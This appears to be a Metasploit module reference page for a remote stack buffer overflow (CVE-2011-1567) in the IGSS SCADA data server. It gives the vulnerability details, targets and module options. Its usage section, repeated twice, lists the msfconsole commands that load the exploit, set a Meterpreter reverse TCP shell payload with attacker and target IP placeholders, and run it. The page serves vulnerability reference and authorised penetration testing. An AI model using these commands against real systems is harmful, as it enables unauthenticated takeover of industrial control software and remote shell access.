7-Technologies IGSS <= v9.00.00 b11063 IGSSdataServer.exe Stack Buffer Overflow
This module exploits a vulnerability in the igssdataserver.exe component of 7-Technologies IGSS up to version 9.00.00 b11063. While processing a ListAll command, the application fails to do proper bounds checking before copying data into a small buffer on the stack. This causes a buffer overflow and allows to overwrite a structured exception handling record on the stack, allowing for unauthenticated remote code execution. Also, after the payload exits, IGSSdataServer.exe should automatically recover.
Exploit Rank
- Good
Exploit Authors
- Luigi Auriemma < >
- Lincoln < >
- corelanc0d3r < peter.ve [at] corelan.be >
- sinn3r < sinn3r [at] metasploit.com >
Vulnerability References
- CVE-2011-1567
- OSVDB-72353
- http://aluigi.altervista.org/adv/igss_2-adv.txt
- http://www.us-cert.gov/control_systems/pdf/ICSA-11-132-01A.pdf
Exploit Targets
- 0 - Windows XP SP3/2003 Server R2 SP2 (DEP Bypass) (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/scada/igss9_igssdataserver_listall
msf exploit(igss9_igssdataserver_listall) > show payloads
msf exploit(igss9_igssdataserver_listall) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(igss9_igssdataserver_listall) > set LHOST [MY IP ADDRESS]
msf exploit(igss9_igssdataserver_listall) > set RHOST [TARGET IP]
msf exploit(igss9_igssdataserver_listall) > exploit
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msf > use exploit/windows/scada/igss9_igssdataserver_listall
msf exploit(igss9_igssdataserver_listall) > show payloads
msf exploit(igss9_igssdataserver_listall) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(igss9_igssdataserver_listall) > set LHOST [MY IP ADDRESS]
msf exploit(igss9_igssdataserver_listall) > set RHOST [TARGET IP]
msf exploit(igss9_igssdataserver_listall) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 12401) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |